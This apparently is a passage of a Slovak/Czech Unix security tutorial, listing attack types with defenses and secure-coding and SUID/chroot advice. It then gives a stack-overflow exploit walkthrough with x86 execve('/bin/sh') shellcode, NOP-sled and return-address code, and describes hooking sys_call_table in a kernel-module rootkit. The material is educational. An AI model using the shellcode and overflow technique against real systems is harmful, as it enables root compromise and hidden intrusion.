  • alebo packetovy (velke mnozstvo malych packetov), takyto utok spolahlivo odrovna routre s poddimenzovanymi CPU (napriklad Cisco)

    Ochrana

  • blokovat broadcasty - tie funguju ako zosilnovace/nasobice trafficu pouzivane pri floodoch

    DDoS

  • Distributed Denial of Service - obdoba floodu, ale utok prevadza velka skupina utociacich pocitacov proti jednemu cielu
  • Trinoo/Strachelwald/TNF2K
  • Jedna sa asi o najzakernejsiu verziu DoS, proti ktorej neexistuje rychla a efektivna ochrana
  • Casto sa stava ze polozi nielen cielenu stanicu, ale aj celeho ISP a tento stav trva az pokial to utocnika neprestane bavit ):)

    Ochrana

  • jediny sposob ochrany je zablokovat na vsetkych vstupoch do siete ISP packety ktore sa daju nejakym sposobom identifikovat, ze patria k floodu. Vacsinou je to zial len identifikacia podla cielovej adresy, co znamena, ze obet nebude fungovat pocas doby kym je zavedeny filter u ISP.

    Virusy

  • po spusteni napadaju spustitelne subory (nebo systemove casti disku a disket, nebo treba makra word dokumentu), cim sa replikuju
  • na sieti sa siria pomocou zkopirovania na iny pocitac za pomoci uzivatela/cerva
  • nedestruktivne virusy nam zaberaju systemove prostriedky
  • destruktivne virusy su obzvlast nebezpecne, nicia uzivatelske data a casto aj system, dokonca sa objavili virusy ako CIH, ktore dokazali prepisat FLASH BIOS na niektorych pocitacoch a tym sposobit problem, ktory by sa dal nazvat hardwaroveho charakteru..
  • spionazne - zpristupnia Vase data nepovolanym ludom (mailom/inym sposobom ce internet)

    Ochrana

  • nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0

    Cervy

  • po spusteni sa siria na dalsie hostitelske pocitace pomocou remote exploitov nebo blbosti uzivatelu (treba stupid-click-on-me IloveYou)
  • priklad - Morrisov Internet Worm
  • velmi nebezpecnym virusom by mohol byt Seiheim, ktory mal byt vytvoreny Michalom Zalewskim, ten mal pracovat s online databazou exploitov, vediet samostatne mutovat, nedeterministicky sa zamaskovat, vyckat urcity cas a znova pokracovat vo svojej cinnosti. Taktiez mal byt nezavisly na platforme. Nastastie zatial nebol naprogramovany, takze mozme kludne spavat ;-) (no, to zase ne. mnoho lidi, i v .cz/.sk si s myslenkou podobnou shammhainu (ale jeste vic featured nes shammhain) stale pohrava ... pozn. -sd)

    Ochrana

  • mat system v aktualnej verzii a bezat len naozaj potrebne sluzby
  • tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0

    Trojske kone

  • po spusteni otvoria zadne vratka na pocitaci obete, zvycajne o tom informuju utocnika pomocou emailu/irc/ftp/www alebo nejakeho specialneho packetu
  • ako vhodny priklad sa daju uviest vo windowsovom prostredi oblubene NTBUS alebo BackOrrifice

    Ochrana

  • tak ako u virusov - nespustat bezhlavo nezname programy, v UNIXe uz vobec nie pod uid=0

    MiM attack

  • Man In The Middle utok je realizovatelny v tedy, ked je utocnik schopny sledovat traffic (tok dat) medzi obetou a adresou, s ktorou obet komunikuje. Utocnik vstupi do tejto komunikacie s adresou obete, tvariac sa, ze komunikacia normalne pokracuje dalej. Samozrejme musi zabezpecit, aby sa obet uz neozyvala, to by narusovalo ukradnutu session (napriklad telnet). Preto moze utocnik pouzit niektory z DOS utokov na umlcanie obete.

    Ochrana

  • pouzivat sietove aplikacie, ktore pouzivaju nejaku formu kryptovania, alebo aspon checksumovania (kontrolnych suctov)
  • v pripade utoku kryptovane session s verejnym klicem je treba nejakym zpusobem zajistit aby server a client navzajem znali sve public key ze _zabezpeceneho_ zdroje, napr. ssh je porovnava z predchozich session.

    Cross site scripting

  • pri pouziti dynamickych web stranok sa casto stretavame s tym, ze url obsahuje otaznik a za nim rozne premenne. Spravnym nastavenim tychto premennych je mozne zmanipulovat beh programu (napriklad zmenit meno a cestu k suboru, ktory sa ma zobrazit, zmenit tabulku v sql databaze a pod.)
  • include a exec lokalneho/remote programu miesto mieneneho include lokalneho datoveho suboru

    Ochrana

  • overovanie vstupu, bezpecne nastavenie v php.ini

    BindShell

  • program, ktory po spusteni pocuva na urcenom porte. Po pripojeni sa nan ziskame shell na pocitaci obete.

    Ochrana

  • odfirewallovanie vsetkych portov, na ktorych nema pocuvat ziadna sluzba

    Buffer Overflow

  • pretecenie vyrovnavacej pamate

    Ochrana

  • decentralizovana
  • centralizovana

    Heap Overflow - prepsani malloc()-okovane pameti

  • je to obdoba stack overflowu, ale nepreplnime buffer v zasobniku ale v bss, takze je tezssi na exploitovani (v bss nejsou zpravidla adresy navratu funkci), ale v soucasne dobe to je nejcasteji nachazena a zneuzivana chyba (php, openssl, openssh ...)

    Ochrana

  • spravne zaobchadzanie s datovymi typmi

    Format String Overflow

  • program sa spolieha pri pracovani s premennymi na to, ze neobsahuju ziadne formatovave znaky
  • nespravne pouzitie : printf(variable);

    Ochrana

  • spravne pouzitie: printf("%s", variable);
  • FormatGuard od Immunixu (nutne prekompilovat binarky)

    Enviroment PATH attack

  • vela uzivatelov zvykne do premennej PATH nastavit aktualny adresar ".", co sposobi, ze napriklad v adresari /tmp mozu spustit nechtiac podvrhnuty program

    Ochrana

  • nepridavat do premennej PATH aktualny adresar Enviroment IFS attack
  • IFS (Internal Field Separator) sluzi na oddelovanie slov na vstupe. V pripade ze je tato premenna nastavena na spravnu hodnotu, moze uzivatelovi sposobit, ze nechcene spusti nieco, co vobec nemal v umysle, alebo ovplyvni beh programov, ktore pouzivaju shellovske funkcie system() alebo popen().

    Ochrana

  • pouzivat shell, ktory automaticky premennu IFS vracia do prednastaveneho stavu ()
  • na zaciatku vlastneho programu nastavit IFS na vychodziu hodnotu
  • vseobecne je vhodne vo vlastnych programoch vsetky premenne prostredia vycistit a nastavit len tie, ktore nutne potrebujeme (napriklad na volanie externeho programu/funkcie)

    Utok cez mena suborov

  • Kedze unixove suborove systemy nemaju obmedzenia na mena suborov (okrem "/" a "0x0h") je mozne vytvorit subor, ktory zmatie prikazy ako find, xargs a podobne

    Ochrana

  • pouzivat cerstve verzie programov

    World/Group writable/readable subory

  • utocnik moze zmenit obsah startovacich suborov v domovskom adresari obete a tym spustit akykolvek program pod uid/gid obete, pripadne precitat meno/heslo z konfiguracie roznych programov

    Ochrana

  • nevytvarat world writable subory (umask 022)
  • subory s heslami/konfiguraciou mat s umask 077

    RootKit

  • Subor programov pomahajucich utocnikovi napadnuty stroj velmi rychlo osadit backdoormi a pripadne odstranit logy poukazujuce na utocnikovu cinnost.

    Bordelizator

  • Skript (zvycajne perl/shell), ktory spusta cielovy program so vstupmi generovanymi podla urcenych pravidiel a snazi sa prinutit tento program, aby skolaboval. Akonahle sa to podari, je tu pravdepodobnost, ze bude mozne nan napisat buffer overflow / heap overflow exploit. Da sa vyuzit za podpory jednoducheho programu v "C", ktory nam vrati obsah registra ESP po kolapse programu. Co pouzijeme pri hadani navratovej adresy.

    Ochrana

  • dobre napisany program overujuci vsetky vstupy a pouzivajuci bezpecne funkcie a kniznice.

    Password Cracking

  • hadanie hesiel z jednosmerne zakryptovanych suborov (unixova funkcia crypt() vyuzivajuca zvycajne DES alebo MD5 hash
  • crackovat mozme bud podla slovnika, alebo skusanim vsetkych kombinacii (Brute Force attack)

    Ochrana

  • Pouzivat silne hesla = vela znakov, pouzit male aj velke pismena, cisla a nealfanumericke znaky

    Obmedzenie bezpecnostnych chyb pri programovani

    Vyvojari definuju chybu (error) ako ludsky omyl pri navrhu a tvorbe programu. Vady (faults) su prejavy chyb, ktore mozu viest k zlyhaniu (failure). Neuspech je odchylka od specifikacie programu. Zvycajne sa aj vady oznacuju ako chyby (resp. bugs).

    V programe mozu byt chyby ale nemusia nutne sposobit problem pokial sa neprejavia zlyhanim. Testovanie ma viest k zlyhaniu pred tym ako sa program zacne pouzivat v ostrej prevadzke. Chyby v programe vznikaju tym, ze niekto urobil chybu, ci uz z neznalosti, uponahlanosti, neopatrnosti alebo z ineho dovodu. Vacsina unixoveho softwareu bola napisana bez detailnej specifikacie, preto sa casto stretavame s pojmom "it's not bug, it's feature.", ktory sa nas snazi presvedcit, ze "to nie je chyba, to je vymozenost".

    Program beziaci so superuzivatelskymi pravami by mal byt napisany tak bezpecne ako je to len mozne. V najlepsom pripade je ihned po vykonani privilegovanej operacie (napr. po nabindovani na port <1024) zahodit superuzivatelske privilegia a dalej bezat ako bezny uzivatel. V pripade ze zlyha program beziaci s uid0, moze to viest k naruseniu celeho systemu.

    Pri pisani programu treba mat v prvom rade jasny koncept, vediet presne ake budu vstupy a ake vystupy.

    Specialne sa treba zamerat na vstupy, aby nemohli ziadnym sposobom 'prekvapit' nas program, napr. necakanym formatovanim, velkostou a podobne. Pred volanim systemovych funkcii je vhodne testovat parametre s ktorymi ich ideme volat. Oplati sa preverit aj systemove premenne. Funkciam, ktore nerobia kontrolu hranic pri praci s retazcami volitelnej dlzky sa treba vyhnut. Napriklad toto su "nebezpecne" funkcie - gets(), strcpy(), strcat() a tu ich bezpecne verize - fgets(), strncpy(), strncat().

    Nasledujucim funkciam treba riadne prekontrolovat vstupne parametre, pretoze ich spravnym nastavenim je mozne sposobit preplnenie cieloveho buffra, pripadne interneho buffra s pevnou dlzkou - sprintf(), fscanf(), scanf(), sscanf(), vsprintf(), realpath(), getopt(), getpass(), streadd(), strecpy(), strtrns(). Samozrejme v systeme sa moze nachadzat plno dalsich potencialne nebezpecnych funkcii, ich bezpecnost zavysi na tom ako bezpecne sa pouziju. Pri pouziti funkcii je dobre si overit, ci beru do uvahy obmedzenie maximalnou dlzkou. Vsimnite si tiez, ci v dokumentacii nieje uvedene, ze funkcia vracia pointer na nejaky staticky ulozny priestor. Pri preplneni vstupu takehoto bufferu okamzite vznikne problem.

    V Unixe mame z takmer kazdeho systemoveho volania navratovu hodnotu. Aj ked sme presvedceny, ze pouzite volanie write(), chdir(), chown() nemoze zlyhat, treba ratat s tym, ze vo vynimocnych pripadoch sa to predsa len moze stat. Utocnik/nahoda moze sposobit stav, ked systemove volanie zlyha a bez overenia navratoveho kodu sa o tom nedozvieme. Je teda dobre kontrolovat premennu errno a v pripade ze sa nerovna 1 ale nejakej zapornej hodnote, je vhodne podat o tom hlasenie a program ukoncit.

    "Co si sam neurobis nemas" - tymto prislovim je dobre sa riadit aj pri programovani. Netreba sa spoliehat na systemove premenne, ktore by mali byt defaultne nastavene, taktiez signaly, umask, aktualny adresar atd. Pokial je to mozne, najefektivnejsi sposob ako vycistit systemove premenne je pouzit envp.

    Pri programovani mozme pouzivat makro assert, ktore zaisti v pripade ze nejaka premenna neobsahuje hodnotu z definovaneho intervalu prerusenie programu s chybovou hlaskou. Treba si tu ale dat pozor na heisenbugy.

    Dobrou pomockou moze byt logovanie na vsetkych podstatnych miestach. V pripade ze sa ma logovat cez syslog treba kontrolovat dlzku parametrov predavanych syslogu.

    Pri kompilacii je dobre pouzit parameter -Wall, alebo aspon pred tym prebehnut zdrojaky lintom, ktory je schopny najst zakladne chyby.

    Casto sa stava ze programator nedostatocne kontroluje subory. Nasa aplikacia totiz nieje jedina, ktora bezi a moze sa stat, ze ina pristupi k suboru po tom co sme otestovali jeho spravnost a pred tym ako ideme s nim pracovat. Preto je dobre nepouzivat postup access() a open(), ale radsej subor otvorit a az potom fchown(), fchmod(), alebo fstat().

    Nieje vhodne nechavat v programe moznost volania noveho shellu. V dnesnom prostredi modernych unixov to uz nieje nutne. Rovnako sa treba vyvarovat volani system() a popen().

    Pri otvarani suborov je dobre pouzit priznaky O_EXCL|O_CREAT v pripade ze subor nema existovat, resp O_CREAT ak uz existuje. Zaruci to spravne chybove hlasenia.

    Na testovanie ci sa jedna o subor, alebo odkaz mozme pouzit lstat(). Netreba zabudnut, ze pokial je dany subor/linka vo verejne pristupnom adresari, moze sa to zmenit.. Najlepsie je pracovat so subormi v adresaroch nepristupnych pre ostatnych uzivatelov (samozrejme pokial je to mozne).

    Ak potrebujete ukladat uzivatelske hesla na autentifikaciu uzivatelov, ukladajte ich miesto plaintext formatu v kryptovanej podobe. Dnes je najvyuzivanejsi MD5 hash, co nieje vlastne sifra, ale kontrolny sucet, ale na nase ucely posluzi velmi dobre.

    Tvorba sietovych aplikacii

    Neodporuca sa pouzivat porty sluzieb "natvrdo", ale cez volanie getservbyname().
    Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).
    Nedoverovat paketom len kvoli ich IP adrese.
    Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.
    Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.
    Rozumne nastavovat timeouty na read/write zo siete.
    Samozrejme treba dokladne kontrolovat vstup na velkost.
    Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.
    Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.
    Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.
    Logovanie do suboru/syslogu by mala byt samozrejmost.
    Reakcia na signaly (napr. TERM) moze pomoct pri 'zmrznuti' aplikacie (napr. prilis vela timeoutov).
    Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.

    Pisanie SUID/SGID programov

    Nepiste ich. Vacsinou je to zbytocne. (UNIX System Security - Patrick H. Wood and Stephen G. Kochman, Hayden Books, 1985)

    Nepiste SUID SHELL scripty.

    Pokial chcete pouzit SUID program len pre pristup k nejakym suborom, skuste pouzvazovat, ci by sa to nedalo vyriestit pomocou nastavenia GID jednotlivym uzivatelom. Pripadne ci by nestacil SGID program. Ak uz musi byt SUID vytvorte prenho specialneho uzivatela. Tiez je dobre obmedzit jeho spustanie pomocou skupinovych prav.

    Ak potrebujete aby program prevadzal len jednu konkretnu operaciu s uid0, vytvorte k hlavnemu programu jeden jadnoucelovy maly, jednoduchy SUID program, ktory bude svedomite kontrolovat vstup z hlavneho programu. Vseobecne komunikacia hlavneho programu a tymto suidom musi byt co najdokonalejsia.

    Program by mal po pouziti zvysenych privilegii ihned zrusit ich vplyv a vratit sa k efektivnym a realnym UID a GID, ktory ten program spustil.

    Nevytvarajte prilis mnoho konfiguracnych moznosti v SUID programe, zbytocne sa tak zvysuje riziko chyby.

    Pokial je to mozne, vymazte prostredie shellu a vytvorte nutne zaznamy sami. Premennu PATH IFS je dobre nastavit na vychodziu hodnotu, napriklad: putenv("PATH=/bin:/usr/bin"); putenv("IFS= \t\n"); Nasledne si overte, ci su tieto premenne nastavene korektne a ci sa v systeme nenachadzaju aj dalsie zmienky o tychto premennych.

    Ak chcete spustat z vasej aplikacie dalsie programy, pouzivajte len volania execve(), exevc() a excl() a aj to s maximalnou opatrnostou. Nepouzivajte volanie execlp() a execvp(), pretoze tie pouzivaju premennu PATH.

    Ak by nahodou musel umoznovat spustanie shellu, pred vykonanim uzivatelskeho prikazu nezabudnite na setgid(getid()) a setuid(getuid()).

    Pri otvarani vsetkych suborov pouzivajte vzdy plne cesty. Nespoliehajte sa na aktualnu cestu po spusteni.

    Linkujte program staticky, vyhnete sa tak problemov s podvrhnutymi kniznicami.

    Pouzitie funkcie chroot()

    Zvysenu bezpecnost systemu mozte ziskat pomocou volania chroot(). Toto volanie nastavi pre sputeny proces zadany korenovy adresar. Tym sa zamedzi pristupu do vyssich adresarov v stromovej strukture systemu. V pripade ze vas program potrebuje zdielane kniznice, musite mu ich nakopirovat do chrootovaneho prostredia, pripadne ho zkompilovat staticky. Pred pouzitim chrootu treba mysliet na syslog a je dobre bud spusit openlog(), alebo v chrootovanom prostredi vytvorit subor zariadenia /dev/log. Je dobre si uvedomit, ze ani chroot nie je vseliek. Dostatocne znaly utocnik sa moze vediet prebit aj z chrootu. Ztazit mu to mozete tak, ze chroote nechate naozaj len prikazy a subory, ktore tam nutne musia byt.

    Buffer Overflow

    Priklad pretecenia buffra:

    
            void function(char *str) {
              char buffer[16];
              strcpy(buffer,str);
            }
    
    
            void main() {
              char large_string[256];
              int i;
              for( i = 0; i < 255; i++)
                large_string[i] = 'A';
              function(large_string);
            }
    /pr.0xb.1/
    
    Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string. To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:
    
    
    +-----------------------+       +-----------------------+
    |,,,,,,,argc,,,,,,,,,,,,|       |,,,,,,,argc,,,,,,,,,,,,|
    +-----------------------+       +-----------------------+
    |.uzivatelsky.zasobnik..|       |.uzivatelsky.zasobnik..|
    +-----------------------+       +-----------------------+
    |       *str            |       | strcpy() sa pokusi    |
    +-----------------------+       | zapisat 256 bajtov do |
    |       ret             |    ^  | do buffra,cim prepise |
    +-----------------------+    |  | sftp, ret a *str.     |
    |       sfp             |    |  |                       |
    +-----------------------+    |  +-----------------------+
    |       buffer[16]      |    |  |       buffer[16]      |
    |                       |    |  |                       |
    +-----------------------+       +-----------------------+
    |.......heap............|       |.......heap............|
    +-----------------------+       +-----------------------+
    |,,,,,,,bss,,,,,,,,,,,,,|       |,,,,,,,bss,,,,,,,,,,,,,|
    +-----------------------+       +-----------------------+
     pred zavolanim strcpy()           po zavolani strcpy()
    
    
    
    Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu a preto je ukonceny s hlaskou Segmentation Fault.
    Tento priklad ukazuje, ako sa da zmenit navratova adresa dynamickej funkcie pomocou pretecenia sposobeneho jednou funkciou ktora kopiruje blok dat bajt po bajte. Manipulacia s navratovou adresou funkcie v zasobniku je zaklad vsetkych Buffer Overrunov utociacich na SUID ROOT binarky. Zmenenim navratovej adresy pomocou statickeho retazca obsahujuceho shell kod spravi z obycajneho nekontrolovaneho kopirovania stringu instrukciu, ktora moze spustit lubovolny kod v zasobniku.

    Shell kod

    Ako sme si ukazali v predchadzajucom odstavci, manipulaciou dynamicky alokovanych premennych pomocou neohranicenych byte-copy operacii mozme spustit lubovonly kod cez navratovu adresu, ktora je 'slepo' obnovena zo zasobniku pri odchode z funkcie. Ak to aplikujeme na SUID ROOT binarku, utocnik si moze nechat spustit /bin/sh s pravami superuzivatela a ziska tak kontrolu nad celym systemom. Samozrejme moze pouzit aj iny shell, ale /bin/sh sa nachadza vo vsetkych UNIXovych systemoch a je predvoleny shell pre uzivatela root.
    Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.
    To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym ekvivalentom standartnej C funkcie execve(name[0], "/bin/sh", NULL). Samozrejme assemblerovsky ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov je mozne rozdelit volanie ako execve(name[0], "/bin/sh", NULL) rozkuskovanim na jednotlive ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme. Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:

    1. V pamati sa vyskytuje nulou zakonceny string /bin/sh
    2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom
    3. 0xb sa kopiruje do EAX registra
    4. Adresa stringu /bin/sh sa zkopiruje do EBX registra
    5. Adresa stringu /bin/sh sa zkopiruje do ECX registra
    6. Adresa nuloveho long-wordu sa skopiruje do EDX registra
    7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
    8. 0x1 sa nakopiruje do EAX registra
    9. 0x0 sa nakopiruje do EBX registra
    a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch

    Tento zoznam sa da zapisat do x86 shell kodu pomocou standartneho ANSI C znakoveho pola:

    
            char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
                               "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                               "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    Kombinacia prikladu buffer overflowu a shell kodu:
    
            char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
                               "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                               "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    
    
            char large_string[128];
    
    
            void main() {
              char buffer[96];
              int i;
              long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */
    
    
              /* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */
              for( i = 0; i < 32; i++)
                *(long_ptr + i ) = (int) buffer;
    
    
              /* zkopiruj shell kod do large_stringu */
              for( i = 0; i < strlen(shellcode); i++)
                large_string[i] = shellcode[i];
    
    
              /* buffer dostane shell kod a 32 pointerov spat na seba sameho */
              strcpy(buffer,large_string);
            }
    /pr.0xc.1/
    
    Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati, kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string. Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie. Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho. Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).
    
    
            +-----------------------+       +-----------------------+
            |,,,,,,,argc,,,,,,,,,,,,|       |,,,,,,,argc,,,,,,,,,,,,|
            +-----------------------+       +-----------------------+
            | uzivatelsky zasobnik  |       | uzivatelsky zasobnik  |
            +-----------------------+       +-----------------------+
            |       ret             |       |    o  ^       ret     |
            +-----------------------+       +-s--v--|---------------+
            |       sfp             |       | t  e  |       sfp     |
            +-----------------------+       +-r--r--|---------------+
     /----- |       long_ptr        |       | c  f  |       long_ptr|
    |       +-----------------------+       +-p--l--|---------------+
    |(x32)  |       i               |       | y  o  |       i       |
    |       +-----------------------+       +----w--|---------------+
    |   /-- |       buffer          |   /-> |       |       buffer  |
    |  |    +-----------------------+  |    +-----------------------+
    |   \-> |                       |   \-- |                       |
    |       |                       |       |                       |
     \----> |   large_string[128]   |       |   large_string[128]   |
            |                       |       |                       |
        /-> |                       |   /-> |                       |
       |    +-----------------------+  |    +-----------------------+
        \-- |       shellcode[]     |   \-- |       shellcode[]     |
            |                       |       |                       |
            +-----------------------+       +-----------------------+
            |.......heap............|       |.......heap............|
            +-----------------------+       +-----------------------+
            |,,,,,,,bss,,,,,,,,,,,,,|       |,,,,,,,bss,,,,,,,,,,,,,|
            +-----------------------+       +-----------------------+
             pred zavolanim strcpy()        po zavolani strcpy() ; ret je prepisany
    
    
    
    Realny stack smashing

    V predchadzajucom pripade sme mali pre jednoduchost predkompilovany shell kod ako sucast programu. UNIXove SUID root aplikacie urcite nebudu obsahovat shell kod :) Aby sme ich mohli exploitovat, potrebujeme najst sposob ako vlozit shell kod do prostredia beziaceho programu. Mozme to spravit cez prikazovy riadok, premenne shelloveho prostredia, alebo cez interaktivny vstup. Velmi dolezite je vediet kde v pamati sa potom bude shell kod nachadzat, preto utocnici zvycajne vyplnaju shell kod s NULL argumentom (co v assembleri znamena no-operation, cize procesor jednoducho skoci na dalsiu instrukciu v poradi) co im zaisti sirsi priestor na 'trafenie' spravnej navratovej adresy. Takyto postup doplneny o kopec navratovych adries na konci shell kodu je najcastejsie pouzivany pri vytvarani stack smashing exploitov. V pripade ze obetou je maly program s obmedzenymi pametovymi narokmi, exploit sa zvykne ulozit do premennej prostredia.

    Pisanie exploitov vyuzivajucich preplnenie zasobnika

    Zopakujme si rozlozenie zasobniku:

    
           +4 bajty | parametre ...         |
                    +-----------------------+
           +4 bajty | navratova adresa      |       velkost 4 bajty
                    +-----------------------+
            SP      | base pointer          |       velkost 4 bajty
                    +-----------------------+
       -1024 bajtov | lokalne pole2[1024]   |       velkost 1024 bajtov
                    +-----------------------+
       -2048 bajtov | lokalne pole1[1024]   |
                    +-----------------------+
                    | ...                   |
    
    
    Zopakujme si princip buffer overflowu:
    Zapiseme do premennej pole2 tolko dat, aby sme prepisali base pointer (co je len vedlajsi efekt) a navratovu adresu (o to nam ide). V tomto pripade teda do pole2 musime zapisat 1032 bajtov (1024+4+4)
    
           +4 bajty | parametre ...         |
                    +-----------------------+
           +4 bajty | 4 krat "X"            |       velkost 4 bajty
                    +-----------------------+
            SP      | 4 krat "X"            |       velkost 4 bajty
                    +-----------------------+
       -1024 bajtov | 1024 krat "X"         |       velkost 1024 bajtov
                    +-----------------------+
       -2048 bajtov | lokalne pole1[1024]   |
                    +-----------------------+
                    | ...                   |
    
    
    Samozrejme sami zapisane data nebudu "X", ale take, aby navratova adresa bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu. Napriklad takto:
    
           +4 bajty | parametre ...         |
                    +-----------------------+
           +4 bajty | adresa shell kodu     | ---\
                    +-----------------------+     |
            SP      | 4 nevyznamne bajty    |     |
                    +-----------------------+     |
       -1024 bajtov | shell kod             | <--/
                    +-----------------------+
       -2048 bajtov | lokalne pole1[1024]   |
                    +-----------------------+
                    | ...                   |
    
    
    Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna, ktoru ideme prepisat, ba aj o cosi dlhsi ;-).
    Presne o 8 bajtov - base pointer (4bajty) + ret adresa(4bajty).
    Linearny diagram by mohol vyzerat asi takto: .... ...

    Priklad upravy x86 shell kodu:

    
    #define lv_size=1024;           /* dlzka premennej, na ktoru utocime */
    char buffer[lv_size+8];         /* pozicia navratovej adresy */
                                    /* execshell je pole s nasim shell kodom */
    for(i=0;i<lv_size-strlen(execshell);i++)
      ptr[i]=0x90;
    for(i=0;i<strlen(execshell);i++)
      ptr[i+lv_size-strlen(execshell)]=execshell[i];
    
    
    Pripadne elegantnejsi sposob:
    
    #define lv_size=1024
    char buffer[lv_size+8]
    memset(ptr,0x90,lv_size-strlen(execshell));
    ptr+=lv_size-strlen(execshell);
    for(i=0;i<strlen(execshell);i++)
      *(ptr++)=execshell[i];
    
    Pre ine platformy ma instrukcia NOP (0x90) iny opcode.

    Ziskanie realnej adresy zasobnika

    Adresu ukazatela na zasobnik pred nastavenim lokalnych premennych a navratovej adresy nazvyme OSP - Original Stack Pointer. K OSP pridame taky offset, aby CPU skocilo niekde do bloku nasich -ov a po ich vykonani spustilo aj nas shell kod.

    
           +4 bajty | parametre ...         |
                    +-----------------------+
           +4 bajty | adresa OSP + offset   | ---\
                    +-----------------------+     |
            SP      | 4 nevyznamne bajty    |     |
                    +-----------------------+     |
       -1024 bajtov | [shell kod]           |     |
                    | [nop]                 |     |
                    | [nop]                 | ---/  OSP + offset
                    | [nop]                 |       -------\
                    | [nop]                 |               | offset 
                    | [...]                 |               | vacsi
                    +-----------------------+               | ako
       -2048 bajtov | lokalne pole1[1024]   |               | 1024
            OSP ->  +-----------------------+       -------/
                    | ...                   |
    
    V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu. Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili. Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto: function unsigned long get_sp(void) { int x; return (unsigned long) &x; } Prvy Priklad zistenia SP:
    /* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
    ptr2=(long *)ptr;
    *ptr2=get_sp()+offset;
    
    Druhy (robustnejsi) priklad zistenia SP:
    /* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
    ptr2=(long *)ptr;
    for(i=1;<8;i++)
      *(ptr2++)=get_sp()+offset;
    

    Tento priklad zapisal navratovu adresu osem krat do zasobnika, takze aj v pripade ze adresa zasobnika nebola presne urcena mame vacsiu sancu ze sa trafime. Nutno poznamenat ze na architekturach kde stack roste od nizssich adres k vyssim musime adresu odcitat, tj. get_sp()-offset;

    Moduly jadra

    Moduly jadra (Hovori sa im tiez Loadable Kernel Modules [LKM]) po zavedeni do kernelu bezia s maximalnymi privilegiami a to v rezii kernelu. Preto musime zabezpecit, aby obycajny uzivatel nemal moznost vlozit do jadra nejaky modul, alebo aby nemohol pozmenit moduly ulozene v systeme. Najdokonalejsie maskovacie nastroje pouzivane utocnikmi pouzivaju prave jadra v module, aby skryli vybrane adresare/subory, sietove spojenia, md5-checksumy a procesy. Tak isto existuju moduly, ktore prave naopak monitoruju nekale cinnosti v systeme a v pripade podozrenia na utok informuju administratora a pripadne pokus o utok zastavia.

    Maskovanie spociva v modifikacii systemovych volani na ich upravenu verziu v nasom module. Aby sme zmodifikovali systemove volanie, pridame definiciu extern void *sys_call_table[] do naseho lkm a pomocou init_module() funckie zmenime zodpovedajucu polozku v sys_call_table, aby ukazovala na nas vlastny kod. Tymto si zabezpecime plnu kontrolu nad danym systemovym volanim a vsetky programy, ktore ho vyuzivaju tym budu ovplyvnene.

